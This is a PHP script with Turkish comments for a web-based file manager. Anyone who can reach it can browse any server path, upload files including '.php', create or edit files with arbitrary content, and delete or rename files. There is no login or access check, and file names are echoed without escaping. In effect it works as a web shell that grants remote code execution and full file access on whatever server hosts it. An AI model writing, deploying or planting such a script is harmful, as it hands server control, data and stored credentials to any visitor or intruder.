<?php
// ============================
// 🔧 AYARLAR
// ============================
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

session_start();

// İzin verilen uzantılar (Orijinal liste)
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'txt', 'pdf', 'zip', 'php', 'html', 'css', 'js', 'json', 'sql'];

// ============================
// 📂 YOL YÖNETİMİ
// ============================
$currentPath = isset($_GET['path']) ? $_GET['path'] : getcwd();

// Geçersiz yol kontrolü
if (!is_dir($currentPath)) {
    $currentPath = getcwd();
}

$item = isset($_GET['item']) ? basename($_GET['item']) : '';
$itemPath = $currentPath . DIRECTORY_SEPARATOR . $item;

// ============================
// 📋 FONKSİYONLAR
// ============================

// 1. DİZİN LİSTELEME
function showDirectory($dir) {
    $entries = array_diff(scandir($dir), ['.', '..']);
    echo "<h2>📁 Directory: $dir</h2><ul>";

    foreach ($entries as $entry) {
        $fullPath = $dir . DIRECTORY_SEPARATOR . $entry;
        $isDir = is_dir($fullPath);
        $icon = $isDir ? "📂" : "📄";
        $size = !$isDir && file_exists($fullPath) ? round(filesize($fullPath) / 1024, 2) . " KB" : "";

        echo "<li style='margin-bottom: 5px;'>$icon ";

        if ($isDir) {
            echo "<a href='?path=" . urlencode($fullPath) . "'>$entry</a>";
        } else {
            echo "<b>$entry</b> <small>($size)</small> 
                [<a href='?path=" . urlencode($dir) . "&action=edit&item=" . urlencode($entry) . "'>Edit</a>] 
                [<a href='?path=" . urlencode($dir) . "&action=delete&item=" . urlencode($entry) . "' onclick=\"return confirm('Are you sure?')\">Delete</a>] 
                [<a href='?path=" . urlencode($dir) . "&action=rename&item=" . urlencode($entry) . "'>Rename</a>]";
        }
        echo "</li>";
    }
    echo "</ul>";
}

// 2. DOSYA YÜKLEME
function uploadFile($dir) {
    global $allowed_extensions;
    if (!empty($_FILES['file']['name'])) {
        $fileName = basename($_FILES['file']['name']);
        $target = $dir . DIRECTORY_SEPARATOR . $fileName;
        $fileType = strtolower(pathinfo($target, PATHINFO_EXTENSION));

        if (!in_array($fileType, $allowed_extensions)) {
            echo "<p style='color:red;'>❌ Error: Extension not allowed ($fileType).</p>";
        } else {
            if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
                echo "<p style='color:green;'>✅ Uploaded: $fileName</p>";
            } else {
                echo "<p style='color:red;'>❌ Upload failed.</p>";
            }
        }
    }
}

// 3. KLASÖR OLUŞTURMA
function makeFolder($dir) {
    $folder = trim($_POST['folder_name']);
    if (!$folder) return;
    $folderPath = $dir . DIRECTORY_SEPARATOR . $folder;
    if (!file_exists($folderPath)) {
        mkdir($folderPath);
        echo "<p style='color:green;'>📁 Folder created: $folder</p>";
    }
}

// 4. DOSYA OLUŞTURMA VE YAZMA
function makeFile($dir) {
    $file = trim($_POST['file_name']);
    $content = isset($_POST['file_content']) ? $_POST['file_content'] : '';
    if (!$file) return;
    $filePath = $dir . DIRECTORY_SEPARATOR . $file;
    
    if (file_put_contents($filePath, $content) !== false) {
        echo "<p style='color:green;'>📄 File created: $file</p>";
    }
}

// 5. DOSYA DÜZENLEME
function editFile($path) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
        file_put_contents($path, $_POST['content']);
        echo "<p style='color:green;'>✅ Saved!</p>";
    }
    $content = htmlspecialchars(file_get_contents($path));
    echo "<h3>📝 Editing: " . basename($path) . "</h3>
          <form method='POST'>
            <textarea name='content' style='width:100%; height:400px; font-family:monospace;'>$content</textarea><br><br>
            <button type='submit' style='padding:10px 20px; background:green; color:white; border:none;'>Save</button>
            <a href='?path=" . urlencode(dirname($path)) . "' style='margin-left:10px;'>Cancel</a>
          </form>";
}

// 6. SİLME VE İSİM DEĞİŞTİRME
function removeFile($path) {
    is_dir($path) ? rmdir($path) : unlink($path);
    echo "<p style='color:green;'>🗑️ Deleted.</p>";
}

function renameItem($path) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['new_name'])) {
        $newPath = dirname($path) . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
        if (rename($path, $newPath)) {
            echo "<script>window.location.href='?path=" . urlencode(dirname($path)) . "';</script>";
        }
    } else {
        echo "<h3>✏️ Rename: " . basename($path) . "</h3>
              <form method='POST'>
                <input type='text' name='new_name' value='" . basename($path) . "' required style='padding:5px; width:300px;'>
                <button type='submit'>Rename</button>
              </form>";
    }
}

// ============================
// ⚙️ İŞLEM YÖNETİCİSİ
// ============================

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['file'])) uploadFile($currentPath);
    if (isset($_POST['folder_name'])) makeFolder($currentPath);
    if (isset($_POST['file_name'])) makeFile($currentPath);
}

$actionView = false;
if (isset($_GET['action']) && $item) {
    $actionView = true;
    echo "<a href='?path=" . urlencode($currentPath) . "'>⬅️ Go Back</a><hr>";
    switch ($_GET['action']) {
        case 'edit': editFile($itemPath); break;
        case 'delete': removeFile($itemPath); break;
        case 'rename': renameItem($itemPath); break;
    }
}

if (!$actionView) {
    echo "<div style='background:#f4f4f4; padding:10px; border-bottom:1px solid #ccc;'>
            <b>Location:</b> " . htmlspecialchars($currentPath) . " 
            <a href='?path=" . urlencode(dirname($currentPath)) . "'>[⬅️ Go Up]</a>
          </div>";
    
    showDirectory($currentPath);
    echo "<hr>";
    echo "<div style='background:#f4f4f4; padding:10px; border-top:1px solid #ccc; margin-bottom: 20px;'>
            <a href='?path=" . urlencode(dirname($currentPath)) . "'>[⬅️ Go Up]</a>
          </div>";

    echo "<div style='display:flex; justify-content:space-between; flex-wrap:wrap;'>";
    
    // Upload Form
    echo "<div style='border:1px solid #ddd; padding:10px; margin:5px; flex:1; min-width:300px;'>
            <h3>⬆️ Upload File</h3>
            <form method='POST' enctype='multipart/form-data'>
                <input type='file' name='file' required><br><br>
                <button type='submit'>Upload</button>
            </form>
          </div>";

    // Create Folder Form
    echo "<div style='border:1px solid #ddd; padding:10px; margin:5px; flex:1; min-width:300px;'>
            <h3>📁 Create Folder</h3>
            <form method='POST'>
                <input type='text' name='folder_name' placeholder='Folder name' required style='width:100%'><br><br>
                <button type='submit'>Create</button>
            </form>
          </div>";

    // Create File Form
    echo "<div style='border:1px solid #ddd; padding:10px; margin:5px; flex:1; min-width:300px;'>
            <h3>✍️ Create & Write</h3>
            <form method='POST'>
                <input type='text' name='file_name' placeholder='test.txt' required style='width:100%'><br><br>
                <textarea name='file_content' style='width:100%; height:60px;'></textarea><br><br>
                <button type='submit'>Create & Write</button>
            </form>
          </div>";

    echo "</div>";
}
?>